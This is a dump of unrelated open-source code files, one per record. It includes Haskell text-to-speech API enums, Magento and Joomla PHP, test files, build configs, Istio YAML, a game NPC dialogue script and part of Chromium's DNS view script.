the\n -- client doesn\\'t care which gender the selected voice will have. In the\n -- Voice field of ListVoicesResponse, this may mean that the voice doesn\\'t\n -- fit any of the other categories in this enum, or that the gender of the\n -- voice isn\\'t known.\n | VSGMale\n -- ^ @MALE@\n -- A male voice.\n | VSGFemale\n -- ^ @FEMALE@\n -- A female voice.\n | VSGNeutral\n -- ^ @NEUTRAL@\n -- A gender-neutral voice.\n deriving (Eq, Ord, Enum, Read, Show, Data, Typeable, Generic)\n\ninstance Hashable VoiceSsmlGender\n\ninstance FromHttpApiData VoiceSsmlGender where\n parseQueryParam = \\case\n \"SSML_VOICE_GENDER_UNSPECIFIED\" -> Right VSGSsmlVoiceGenderUnspecified\n \"MALE\" -> Right VSGMale\n \"FEMALE\" -> Right VSGFemale\n \"NEUTRAL\" -> Right VSGNeutral\n x -> Left (\"Unable to parse VoiceSsmlGender from: \" <> x)\n\ninstance ToHttpApiData VoiceSsmlGender where\n toQueryParam = \\case\n VSGSsmlVoiceGenderUnspecified -> \"SSML_VOICE_GENDER_UNSPECIFIED\"\n VSGMale -> \"MALE\"\n VSGFemale -> \"FEMALE\"\n VSGNeutral -> \"NEUTRAL\"\n\ninstance FromJSON VoiceSsmlGender where\n parseJSON = parseJSONText \"VoiceSsmlGender\"\n\ninstance ToJSON VoiceSsmlGender where\n toJSON = toJSONText\n\n-- | Required. The format of the requested audio byte stream.\ndata AudioConfigAudioEncoding\n = AudioEncodingUnspecified\n -- ^ @AUDIO_ENCODING_UNSPECIFIED@\n -- Not specified. Will return result google.rpc.Code.INVALID_ARGUMENT.\n | LINEAR16\n -- ^ @LINEAR16@\n -- Uncompressed 16-bit signed little-endian samples (Linear PCM). Audio\n -- content returned as LINEAR16 also contains a WAV header.\n | MP3\n -- ^ @MP3@\n -- MP3 audio at 32kbps.\n | OggOpus\n -- ^ @OGG_OPUS@\n -- Opus encoded audio wrapped in an ogg container. The result will be a\n -- file which can be played natively on Android, and in browsers (at least\n -- Chrome and Firefox). The quality of the encoding is considerably higher\n -- than MP3 while using approximately the same bitrate.\n deriving (Eq, Ord, Enum, Read, Show, Data, Typeable, Generic)\n\ninstance Hashable AudioConfigAudioEncoding\n\ninstance FromHttpApiData AudioConfigAudioEncoding where\n parseQueryParam = \\case\n \"AUDIO_ENCODING_UNSPECIFIED\" -> Right AudioEncodingUnspecified\n \"LINEAR16\" -> Right LINEAR16\n \"MP3\" -> Right MP3\n \"OGG_OPUS\" -> Right OggOpus\n x -> Left (\"Unable to parse AudioConfigAudioEncoding from: \" <> x)\n\ninstance ToHttpApiData AudioConfigAudioEncoding where\n toQueryParam = \\case\n AudioEncodingUnspecified -> \"AUDIO_ENCODING_UNSPECIFIED\"\n LINEAR16 -> \"LINEAR16\"\n MP3 -> \"MP3\"\n OggOpus -> \"OGG_OPUS\"\n\ninstance FromJSON AudioConfigAudioEncoding where\n parseJSON = parseJSONText \"AudioConfigAudioEncoding\"\n\ninstance ToJSON AudioConfigAudioEncoding where\n toJSON = toJSONText\n"} -{"text": "// SPDX-License-Identifier: GPL-2.0+\n/*\n * Freescale ls1021a QDS board common device tree source\n *\n * Copyright 2013-2015 Freescale Semiconductor, Inc.\n */\n\n/dts-v1/;\n#include \"ls1021a-qds.dtsi\"\n\n/ {\n\tchosen {\n\t\tstdout-path = &uart0;\n\t};\n};\n"} -{"text": "startSetup();\n\n$installer->run(\"\nCREATE TABLE {$installer->getTable('weee_tax')} (\n `value_id` int(11) NOT NULL auto_increment,\n `website_id` smallint(5) unsigned NOT NULL default '0',\n `entity_id` int(10) unsigned NOT NULL default '0',\n `country` varchar(2) NOT NULL default '',\n `value` decimal(12,4) NOT NULL default '0.0000',\n PRIMARY KEY (`value_id`),\n KEY `FK_CATALOG_PRODUCT_ENTITY_WEEE_TAX_WEBSITE` (`website_id`),\n KEY `FK_CATALOG_PRODUCT_ENTITY_WEEE_TAX_PRODUCT_ENTITY` (`entity_id`),\n KEY `FK_CATALOG_PRODUCT_ENTITY_WEEE_TAX_COUNTRY` (`country`),\n CONSTRAINT `FK_CATALOG_PRODUCT_ENTITY_WEEE_TAX_PRODUCT_ENTITY` FOREIGN KEY (`entity_id`) REFERENCES {$this->getTable('catalog_product_entity')} (`entity_id`) ON DELETE CASCADE ON UPDATE CASCADE,\n CONSTRAINT `FK_CATALOG_PRODUCT_ENTITY_WEEE_TAX_WEBSITE` FOREIGN KEY (`website_id`) REFERENCES {$this->getTable('core_website')} (`website_id`) ON DELETE CASCADE ON UPDATE CASCADE,\n CONSTRAINT `FK_CATALOG_PRODUCT_ENTITY_WEEE_TAX_COUNTRY` FOREIGN KEY (`country`) REFERENCES {$this->getTable('directory_country')} (`country_id`) ON DELETE CASCADE ON UPDATE CASCADE\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\n\");\n\n$installer->endSetup();\n"} -{"text": "/* -*- Mode: js; js-indent-level: 2; -*- */\n/*\n * Copyright 2011 Mozilla Foundation and contributors\n * Licensed under the New BSD license. See LICENSE or:\n * http://opensource.org/licenses/BSD-3-Clause\n */\nif (typeof define !== 'function') {\n var define = require('amdefine')(module, require);\n}\ndefine(function (require, exports, module) {\n\n var SourceMapConsumer = require('../../lib/source-map/source-map-consumer').SourceMapConsumer;\n var SourceMapGenerator = require('../../lib/source-map/source-map-generator').SourceMapGenerator;\n\n exports['test eating our own dog food'] = function (assert, util) {\n var smg = new SourceMapGenerator({\n file: 'testing.js',\n sourceRoot: '/wu/tang'\n });\n\n smg.addMapping({\n source: 'gza.coffee',\n original: { line: 1, column: 0 },\n generated: { line: 2, column: 2 }\n });\n\n smg.addMapping({\n source: 'gza.coffee',\n original: { line: 2, column: 0 },\n generated: { line: 3, column: 2 }\n });\n\n smg.addMapping({\n source: 'gza.coffee',\n original: { line: 3, column: 0 },\n generated: { line: 4, column: 2 }\n });\n\n smg.addMapping({\n source: 'gza.coffee',\n original: { line: 4, column: 0 },\n generated: { line: 5, column: 2 }\n });\n\n var smc = new SourceMapConsumer(smg.toString());\n\n // Exact\n util.assertMapping(2, 2, '/wu/tang/gza.coffee', 1, 0, null, smc, assert);\n util.assertMapping(3, 2, '/wu/tang/gza.coffee', 2, 0, null, smc, assert);\n util.assertMapping(4, 2, '/wu/tang/gza.coffee', 3, 0, null, smc, assert);\n util.assertMapping(5, 2, '/wu/tang/gza.coffee', 4, 0, null, smc, assert);\n\n // Fuzzy\n\n // Original to generated\n util.assertMapping(2, 0, null, null, null, null, smc, assert, true);\n util.assertMapping(2, 9, '/wu/tang/gza.coffee', 1, 0, null, smc, assert, true);\n util.assertMapping(3, 0, '/wu/tang/gza.coffee', 1, 0, null, smc, assert, true);\n util.assertMapping(3, 9, '/wu/tang/gza.coffee', 2, 0, null, smc, assert, true);\n util.assertMapping(4, 0, '/wu/tang/gza.coffee', 2, 0, null, smc, assert, true);\n util.assertMapping(4, 9, '/wu/tang/gza.coffee', 3, 0, null, smc, assert, true);\n util.assertMapping(5, 0, '/wu/tang/gza.coffee', 3, 0, null, smc, assert, true);\n util.assertMapping(5, 9, '/wu/tang/gza.coffee', 4, 0, null, smc, assert, true);\n\n // Generated to original\n util.assertMapping(2, 2, '/wu/tang/gza.coffee', 1, 1, null, smc, assert, null, true);\n util.assertMapping(3, 2, '/wu/tang/gza.coffee', 2, 3, null, smc, assert, null, true);\n util.assertMapping(4, 2, '/wu/tang/gza.coffee', 3, 6, null, smc, assert, null, true);\n util.assertMapping(5, 2, '/wu/tang/gza.coffee', 4, 9, null, smc, assert, null, true);\n };\n\n});\n"} -{"text": "apiVersion: networking.istio.io/v1alpha3\nkind: VirtualService\nmetadata:\n name: reviews\nspec:\n hosts:\n - reviews\n http:\n - route:\n - destination:\n name: reviews\n subset: v3\n---\napiVersion: networking.istio.io/v1alpha3\nkind: VirtualService\nmetadata:\n name: ratings\nspec:\n hosts:\n - ratings\n http:\n - route:\n - destination:\n name: ratings\n subset: v2-mysql-vm\n---\n"} -{"text": "import EventEmitter from 'events'\nimport chalk from 'chalk'\nimport { Stats } from 'webpack'\nimport createStatsFormatter from '../webpack/util/createStatsFormatter'\nimport {\n ENTRY_ADDED_EVENT,\n ENTRY_REMOVED_EVENT,\n EXCEPTION_EVENT,\n MOCHA_ABORTED_EVENT,\n MOCHA_BEGIN_EVENT,\n MOCHA_FINISHED_EVENT,\n WEBPACK_READY_EVENT,\n WEBPACK_START_EVENT,\n UNCAUGHT_EXCEPTION_EVENT\n} from '../util/constants'\n\ntype ReporterOptions = {\n eventEmitter: EventEmitter\n interactive: boolean\n clearTerminal: boolean\n quiet: boolean\n cwd: string\n}\n\nconst log = (...args: Array) => {\n console.log(...args) // eslint-disable-line no-console\n console.log() // eslint-disable-line no-console\n}\n\nconst formatTitleInfo = title => chalk.inverse('', title, '')\nconst formatTitleWarn = title => chalk.black.bgYellow('', title, '')\nconst formatTitleError = title => chalk.white.bold.bgRed('', title, '')\n\nclass Reporter {\n added: Array\n removed: Array\n options: ReporterOptions\n formatStats: (\n stats: Stats\n ) => { warnings: Array; errors: Array }\n\n constructor(options: ReporterOptions) {\n const { cwd, eventEmitter } = options\n\n this.options = options\n this.added = []\n this.removed = []\n this.formatStats = createStatsFormatter(cwd)\n\n eventEmitter.on(UNCAUGHT_EXCEPTION_EVENT, this.onUncaughtException)\n eventEmitter.on(EXCEPTION_EVENT, this.onLoadingException)\n eventEmitter.on(WEBPACK_START_EVENT, this.onWebpackStart)\n eventEmitter.on(WEBPACK_READY_EVENT, this.onWebpackReady)\n eventEmitter.on(MOCHA_BEGIN_EVENT, this.onMochaStart)\n eventEmitter.on(MOCHA_ABORTED_EVENT, this.onMochaAbort)\n eventEmitter.on(MOCHA_FINISHED_EVENT, this.onMochaReady)\n eventEmitter.on(ENTRY_ADDED_EVENT, this.onEntryAdded)\n eventEmitter.on(ENTRY_REMOVED_EVENT, this.onEntryRemoved)\n }\n\n logInfo(...args: Array) {\n if (!this.options.quiet) {\n log(...args)\n }\n }\n\n clearTerminal() {\n if (this.options.clearTerminal && this.options.interactive) {\n process.stdout.write(\n process.platform === 'win32' ? '\\x1B[2J\\x1B[0f' : '\\x1B[2J\\x1B[3J\\x1B[H'\n )\n }\n }\n\n static displayErrors(severity: string, errors: Array) {\n const errorCount = errors.length\n\n const message =\n severity === 'error'\n ? `Failed to compile with ${chalk.red(`${errorCount} ${severity}(s)`)}`\n : `Compiled with ${chalk.yellow(`${errorCount} ${severity}(s)`)}`\n\n const titleColor = severity === 'error' ? formatTitleError : formatTitleWarn\n log(titleColor('WEBPACK'), message)\n errors.forEach(err => log(err))\n }\n\n onUncaughtException = (err: Error) => {\n log(\n formatTitleError('UNCAUGHT EXCEPTION'),\n 'Exception occurred after running tests'\n )\n log(err.stack)\n }\n\n onLoadingException = (err: Error) => {\n log(\n formatTitleError('RUNTIME EXCEPTION'),\n 'Exception occurred while loading your tests'\n )\n log(err.stack)\n }\n\n onWebpackStart = () => {\n this.clearTerminal()\n if (this.added.length > 0) {\n this.logInfo(\n formatTitleInfo('MOCHA'),\n 'The following test entry files were added:'\n )\n this.logInfo(this.added.map(f => `+ ${f}`).join('\\n'))\n }\n\n if (this.removed.length > 0) {\n this.logInfo(\n formatTitleInfo('MOCHA'),\n 'The following test entry files were removed:'\n )\n this.logInfo(this.removed.map(f => `- ${f}`).join('\\n'))\n }\n\n this.logInfo(formatTitleInfo('WEBPACK'), 'Compiling...')\n\n this.added.length = 0\n this.removed.length = 0\n }\n\n onWebpackReady = (err?: Error, stats?: Stats) => {\n this.clearTerminal()\n if (stats != null) {\n const { errors, warnings } = this.formatStats(stats)\n\n if (errors.length === 0 && warnings.length === 0) {\n const { startTime, endTime } = stats\n const compileTime = endTime - startTime\n this.logInfo(\n formatTitleInfo('WEBPACK'),\n `Compiled successfully in ${chalk.green(`${compileTime}ms`)}`\n )\n return\n }\n\n if (errors.length > 0) {\n Reporter.displayErrors('error', errors)\n return\n }\n\n if (warnings.length > 0) {\n Reporter.displayErrors('warning', warnings)\n }\n } else {\n Reporter.displayErrors('error', [err])\n }\n }\n\n onMochaStart = () => {\n this.logInfo(formatTitleInfo('MOCHA'), 'Testing...')\n }\n\n onMochaAbort = () => {\n this.logInfo(formatTitleInfo('MOCHA'), 'Tests aborted')\n }\n\n onMochaReady = (failures: number) => {\n if (failures === 0) {\n this.logInfo(\n formatTitleInfo('MOCHA'),\n `Tests completed ${chalk.green('successfully')}`\n )\n } else {\n this.logInfo(\n formatTitleInfo('MOCHA'),\n `Tests completed with ${chalk.red(`${failures} failure(s)`)}`\n )\n }\n }\n\n onEntryAdded = (file: string) => {\n this.added.push(file)\n }\n\n onEntryRemoved = (file: string) => {\n this.removed.push(file)\n }\n}\n\nexport default function testRunnerReporter(options: ReporterOptions) {\n new Reporter(options) // eslint-disable-line no-new\n}\n"} -{"text": "-------- EventFlow: Npc_Attacked_005 --------\n\nActor: Npc_Attacked_005\nentrypoint: None()\nactions: ['Demo_Talk', 'Demo_TalkASync', 'Demo_ChangeEmotion', 'Demo_TurnAndLookToObject']\nqueries: ['CheckTerrorLevel', 'CheckResultOfNPCConflict']\nparams: {'CreateMode': 0, 'IsGrounding': False, 'IsWorld': False, 'PosX': 0.0, 'PosY': 0.0, 'PosZ': 0.0, 'RotX': 0.0, 'RotY': 0.0, 'RotZ': 0.0}\n\nActor: EventSystemActor\nentrypoint: None()\nactions: ['Demo_FlagON', 'Demo_CloseMessageDialog']\nqueries: ['CheckFlag', 'GeneralChoice2', 'CheckAddPorchItem']\nparams: {'CreateMode': 0, 'IsGrounding': False, 'IsWorld': False, 'PosX': 0.0, 'PosY': 0.0, 'PosZ': 0.0, 'RotX': 0.0, 'RotY': 0.0, 'RotZ': 0.0}\n\nvoid Talk() {\n switch Npc_Attacked_005.CheckTerrorLevel() {\n case [0, 1, 2, 4]:\n\n call InitTalk.InitTalk({'Arg_Turn': 0, 'Arg_Greeting': 'FollowAISchedule'})\n\n Event13:\n if EventSystemActor.CheckFlag({'FlagName': 'AttackedNPC_Set5_FirstTalk'}) {\n Event7:\n Npc_Attacked_005.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/Npc_Attacked_005:After00', 'IsCloseMessageDialog': False})\n if EventSystemActor.CheckFlag({'FlagName': 'Npc_MamonoShop'}) {\n Npc_Attacked_005.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'IsCloseMessageDialog': True, 'MessageId': 'EventFlowMsg/Npc_Attacked_005:After02'})\n } else {\n Npc_Attacked_005.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'IsCloseMessageDialog': True, 'MessageId': 'EventFlowMsg/Npc_Attacked_005:After01'})\n }\n Event19:\n EventSystemActor.Demo_FlagON({'FlagName': 'AttackedNPC_Set5_FirstTalk', 'IsWaitFinish': True})\n } else {\n Npc_Attacked_005.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/Npc_Attacked_005:Talk02', 'IsCloseMessageDialog': False})\n if !EventSystemActor.GeneralChoice2() {\n if EventSystemActor.CheckFlag({'FlagName': 'Npc_MamonoShop'}) {\n Npc_Attacked_005.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'IsCloseMessageDialog': False, 'MessageId': 'EventFlowMsg/Npc_Attacked_005:Talk07'})\n Event26:\n Npc_Attacked_005.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/Npc_Attacked_005:Talk06', 'IsCloseMessageDialog': True})\n goto Event19\n } else {\n Npc_Attacked_005.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/Npc_Attacked_005:Talk03', 'IsCloseMessageDialog': True})\n Event45:\n if EventSystemActor.CheckAddPorchItem({'Count': 1, 'PorchItemName': 'Item_Material_08'}) {\n\n call GetDemo.GetItemByName({'IsInvalidOpenPouch': False, 'CheckTargetActorName': 'Item_Material_08'})\n\n Event17:\n Npc_Attacked_005.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/Npc_Attacked_005:Talk01', 'IsCloseMessageDialog': False})\n Event43:\n if EventSystemActor.CheckFlag({'FlagName': 'AttackedNPC_Set5_FirstTalk'}) {\n goto Event7\n } else {\n Npc_Attacked_005.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/Npc_Attacked_005:Talk01_01', 'IsCloseMessageDialog': False})\n Event25:\n if EventSystemActor.CheckFlag({'FlagName': 'Npc_MamonoShop'}) {\n goto Event26\n } else {\n Npc_Attacked_005.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/Npc_Attacked_005:Talk05', 'IsCloseMessageDialog': True})\n }\n goto Event19\n }\n } else {\n goto Event7\n }\n }\n } else {\n Npc_Attacked_005.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/Npc_Attacked_005:Talk04', 'IsCloseMessageDialog': True})\n goto Event45\n }\n }\n case 3:\n switch Npc_Attacked_005.CheckResultOfNPCConflict() {\n case [0, 1]:\n\n call InitTalk.InitTalk({'Arg_Greeting': 'FollowAISchedule', 'Arg_Turn': 6})\n\n\n call Npc_Road_Common.Atacked({'Flag': 'Npc_Attacked_005_CookReward', 'Self': ActorIdentifier(name=\"Npc_Attacked_005\")})\n\n EventSystemActor.Demo_FlagON({'IsWaitFinish': True, 'FlagName': 'Npc_Attacked_005_Reward'})\n if EventSystemActor.CheckFlag({'FlagName': 'AttackedNPC_Set5_FirstTalk'}) {\n if EventSystemActor.CheckFlag({'FlagName': 'Npc_Attacked_005_Saved'}) {\n Npc_Attacked_005.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'IsCloseMessageDialog': False, 'MessageId': 'EventFlowMsg/Npc_Attacked_005:Talk08'})\n goto Event25\n } else {\n goto Event17\n }\n } else\n if EventSystemActor.CheckAddPorchItem({'Count': 1, 'PorchItemName': 'Item_Material_08'}) {\n Npc_Attacked_005.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/Npc_Attacked_005:Talk00', 'IsCloseMessageDialog': False})\n goto Event17\n } else {\n Npc_Attacked_005.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'IsCloseMessageDialog': False, 'MessageId': 'EventFlowMsg/Npc_Attacked_005:Talk00_1'})\n goto Event43\n }\n case 2:\n\n call InitTalk.InitTalk({'Arg_Greeting': 'FollowAISchedule', 'Arg_Turn': 5})\n\n Event36:\n\n call Npc_Road_Common.Atacked({'Self': ActorIdentifier(name=\"Npc_Attacked_005\"), 'Flag': 'Npc_Attacked_005_CookReward'})\n\n EventSystemActor.Demo_CloseMessageDialog({'IsWaitFinish': True})\n Npc_Attacked_005.Demo_ChangeEmotion({'IsWaitFinish': True, 'EmotionType': 'Normal', 'IsOnlyFace': False})\n Npc_Attacked_005.Demo_TurnAndLookToObject({'IsWaitFinish': True, 'IsConfront': False, 'ObjectId': 0, 'IsValid': True, 'FaceId': 2, 'ActorName': '', 'UniqueName': '', 'PosOffset': [0.0, 0.0, 0.0], 'TurnPosition': [0.0, 0.0, 0.0], 'TurnDirection': 0.0})\n goto Event13\n case 3:\n\n call InitTalk.InitTalkNPCEquip({'Arg_Greeting': 'FollowAISchedule', 'Arg_Turn': 5})\n\n goto Event36\n }\n case 5:\n\n call InitTalk.InitTalk({'Arg_Greeting': 'FollowAISchedule', 'Arg_Turn': 2})\n\n Npc_Attacked_005.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'IsCloseMessageDialog': True, 'MessageId': 'EventFlowMsg/Npc_Attacked_005:Guardian00', 'ASName': 'Detect'})\n }\n}\n\nvoid Near() {\n Npc_Attacked_005.Demo_TalkASync({'IsWaitFinish': True, 'IsChecked': False, 'DispFrame': 90, 'MessageId': 'EventFlowMsg/Npc_Attacked_005:Near00'})\n}\n"} -{"text": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n"} -{"text": "load(\"@io_bazel_rules_go//go:def.bzl\", \"go_library\")\n\nfilegroup(\n name = \"go_default_library_protos\",\n srcs = [\"generated.proto\"],\n visibility = [\"//visibility:public\"],\n)\n\ngo_library(\n name = \"go_default_library\",\n srcs = [\n \"doc.go\",\n \"generated.pb.go\",\n \"register.go\",\n \"types.go\",\n \"types_swagger_doc_generated.go\",\n \"zz_generated.deepcopy.go\",\n ],\n importpath = \"k8s.io/api/autoscaling/v1\",\n visibility = [\"//visibility:public\"],\n deps = [\n \"//vendor/github.com/gogo/protobuf/proto:go_default_library\",\n \"//vendor/k8s.io/api/core/v1:go_default_library\",\n \"//vendor/k8s.io/apimachinery/pkg/api/resource:go_default_library\",\n \"//vendor/k8s.io/apimachinery/pkg/apis/meta/v1:go_default_library\",\n \"//vendor/k8s.io/apimachinery/pkg/runtime:go_default_library\",\n \"//vendor/k8s.io/apimachinery/pkg/runtime/schema:go_default_library\",\n ],\n)\n\nfilegroup(\n name = \"package-srcs\",\n srcs = glob([\"**\"]),\n tags = [\"automanaged\"],\n visibility = [\"//visibility:private\"],\n)\n\nfilegroup(\n name = \"all-srcs\",\n srcs = [\":package-srcs\"],\n tags = [\"automanaged\"],\n visibility = [\"//visibility:public\"],\n)\n"} -{"text": "// Copyright (c) 2013, the Dart project authors. Please see the AUTHORS file\n// for details. All rights reserved. Use of this source code is governed by a\n// BSD-style license that can be found in the LICENSE file.\n\n// Test that dart2js uses the right interceptor when call a method on\n// something that has type number.\n\nimport 'package:expect/expect.dart';\n\nvar array = [];\n\nmain() {\n array.add(false);\n var x = array[0] ? 1.5 : 2;\n Expect.isTrue(x.isEven);\n}\n"} -{"text": "processor = $processor;\n $this->logger = $logger ?: new NullLogger();\n }\n\n /**\n * {@inheritdoc}\n */\n public function process(Message $message, array $options): bool\n {\n $return = $this->processor->process($message, $options);\n\n if (null !== $options['memory_limit'] && memory_get_usage() >= $options['memory_limit'] * 1024 * 1024) {\n $this->logger->info(\n '[MemoryLimit] Memory limit has been reached',\n [\n 'memory_limit' => $options['memory_limit'],\n 'swarrot_processor' => 'memory_limit',\n ]\n );\n\n return false;\n }\n\n return $return;\n }\n\n /**\n * {@inheritdoc}\n */\n public function setDefaultOptions(OptionsResolver $resolver): void\n {\n $resolver->setDefaults([\n 'memory_limit' => null,\n ]);\n\n $resolver->setAllowedTypes('memory_limit', ['integer', 'null']);\n }\n}\n"} -{"text": "# Sources\nfile(GLOB SRCS_G \"src/*.cpp\")\nPOCO_SOURCES_AUTO(TEST_SRCS ${SRCS_G})\n\n# Headers\nfile(GLOB_RECURSE HDRS_G \"src/*.h\")\nPOCO_HEADERS_AUTO(TEST_SRCS ${HDRS_G})\n\nPOCO_SOURCES_AUTO_PLAT(TEST_SRCS OFF\n\tsrc/WinDriver.cpp\n)\n\nPOCO_SOURCES_AUTO_PLAT(TEST_SRCS WINCE\n\tsrc/WinCEDriver.cpp\n)\n\n#TODO: Why is this file there? It doesn't compile if it is include in the sources\nPOCO_SOURCES_AUTO_PLAT(TEST_SRCS OFF\n\tsrc/StatementImpl.cpp\n)\n\nadd_executable(Data-testrunner ${TEST_SRCS})\nif(ANDROID)\n\tadd_test(\n\t\tNAME Data\n\t\tWORKING_DIRECTORY ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}\n\t\tCOMMAND ${CMAKE_COMMAND} -DANDROID_NDK=${ANDROID_NDK} -DLIBRARY_DIR=${CMAKE_BINARY_DIR}/lib -DUNITTEST=${CMAKE_BINARY_DIR}/bin/Data-testrunner -DTEST_PARAMETER=-all -P ${CMAKE_SOURCE_DIR}/cmake/ExecuteOnAndroid.cmake\n\t)\nelse()\n\tadd_test(\n\t\tNAME Data\n\t\tWORKING_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}\n\t\tCOMMAND Data-testrunner -ignore ${CMAKE_SOURCE_DIR}/cppignore.lnx -all\n\t)\n\tset_tests_properties(Data PROPERTIES ENVIRONMENT POCO_BASE=${CMAKE_SOURCE_DIR})\nendif()\ntarget_link_libraries(Data-testrunner PUBLIC Poco::Data CppUnit)\n"} -{"text": " $get_data, 'tmp_name' => $get_data, 'error' => 0);\n }\n else {\n $rdata['success'] = false;\n $rdata['messages'][] = JText::_('COM_PROJECTFORK_WARNING_FILE_UPLOAD_ERROR_4');\n\n $this->sendResponse($rdata);\n }\n\n // Access check.\n if (!$this->allowSave($d = array())) {\n $rdata['success'] = false;\n $rdata['messages'][] = JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED');\n\n $this->sendResponse($rdata);\n }\n\n // Check for upload error\n if ($file['error']) {\n $error = PFrepoHelper::getFileErrorMsg($file['error'], $file['name']);\n\n $rdata['success'] = false;\n $rdata['messages'][] = $error;\n\n $this->sendResponse($rdata);\n }\n\n // Find file with the same name in the same dir\n $db = JFactory::getDbo();\n $query = $db->getQuery(true);\n $name = JFile::makeSafe($file['name']);\n\n $query->select('id')\n ->from('#__pf_repo_files')\n ->where('dir_id = ' . (int) $dir)\n ->where('file_name = ' . $db->quote($name));\n\n $db->setQuery($query, 0, 1);\n $parent_id = (int) $db->loadResult();\n\n $model = $this->getModel();\n $result = $model->upload($file, $dir, ($method == 'xhr' ? true : false), $parent_id);\n\n if (!$result) {\n $rdata['success'] = false;\n $rdata['messages'][] = $model->getError();\n\n $this->sendResponse($rdata);\n }\n\n // Prepare data for saving\n $data = array();\n $data['project_id'] = $project;\n $data['dir_id'] = $dir;\n $data['file'] = $result;\n $data['title'] = $result['name'];\n\n if ($parent_id) {\n $data['id'] = $parent_id;\n }\n\n if (!$model->save($data)) {\n $rdata['success'] = false;\n $rdata['messages'][] = $model->getError();\n\n $this->sendResponse($rdata);\n }\n\n $this->sendResponse($rdata);\n }\n\n\n /**\n * Method to check if you can add a new record.\n *\n * @param array $data An array of input data.\n *\n * @return boolean\n */\n protected function allowAdd($data = array())\n {\n $user = JFactory::getUser();\n $project = JArrayHelper::getValue($data, 'project_id', JRequest::getInt('filter_project'), 'int');\n $dir_id = JArrayHelper::getValue($data, 'dir_id', JRequest::getInt('filter_parent_id'), 'int');\n\n // Check general access\n if (!$user->authorise('core.create', 'com_pfrepo')) {\n $this->setError(JText::_('COM_PROJECTFORK_WARNING_CREATE_FILE_DENIED'));\n return false;\n }\n\n // Validate directory access\n $model = $this->getModel('Directory', 'PFrepoModel');\n $item = $model->getItem($dir_id);\n\n if ($item == false || empty($item->id) || $dir_id <= 1) {\n $this->setError(JText::_('COM_PROJECTFORK_WARNING_DIRECTORY_NOT_FOUND'));\n return false;\n }\n\n $access = PFrepoHelper::getActions('directory', $item->id);\n\n if (!$user->authorise('core.admin')) {\n if (!in_array($item->access, $user->getAuthorisedViewLevels())) {\n $this->setError(JText::_('COM_PROJECTFORK_WARNING_DIRECTORY_ACCESS_DENIED'));\n return false;\n }\n elseif (!$access->get('core.create')) {\n $this->setError(JText::_('COM_PROJECTFORK_WARNING_DIRECTORY_CREATE_FILE_DENIED'));\n return false;\n }\n }\n\n return true;\n }\n}\n"} -{"text": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n/**\n * This view displays information on the host resolver:\n *\n * - Shows the default address family.\n * - Shows the current host cache contents.\n * - Has a button to clear the host cache.\n * - Shows the parameters used to construct the host cache (capacity, ttl).\n */\n\n// TODO(mmenke): Add links for each address entry to the corresponding NetLog\n// source. This could either be done by adding NetLog source ids\n// to cache entries, or tracking sources based on their type and\n// description. Former is simpler, latter may be useful\n// elsewhere as well.\nvar DnsView = (function() {\n 'use strict';\n\n // We inherit from DivView.\n var superClass = DivView;\n\n /**\n * @constructor\n */\n function DnsView() {\n assertFirstConstructorCall(DnsView);\n\n // Call superclass's constructor.\n superClass.call(this, DnsView.MAIN_BOX_ID);\n\n // Register to receive changes to the host resolver info.\n g_browser.addHostResolverInfoObserver(this, false);\n }\n\n DnsView.TAB_ID = 'tab-handle-dns';\n DnsView.TAB_NAME = 'DNS';\n DnsView.TAB_HASH = '#dns';\n\n // IDs for special HTML elements in dns_view.html\n DnsView.MAIN_BOX_ID = 'dns-view-tab-content';\n\n DnsView.INTERNAL_DNS_ENABLED_SPAN_ID = 'dns-view-internal-dns-enabled';\n DnsView.INTERNAL_DNS_INVALID_CONFIG_SPAN_ID =\n 'dns-view-internal-dns-invalid-config';\n DnsView.INTERNAL_DNS_CONFIG_TBODY_ID = 'dns-view-internal-dns-config-tbody';\n\n DnsView.CAPACITY_SPAN_ID = 'dns-view-cache-capacity';\n\n DnsView.ACTIVE_SPAN_ID = 'dns-view-cache-active';\n DnsView.EXPIRED_SPAN_ID = 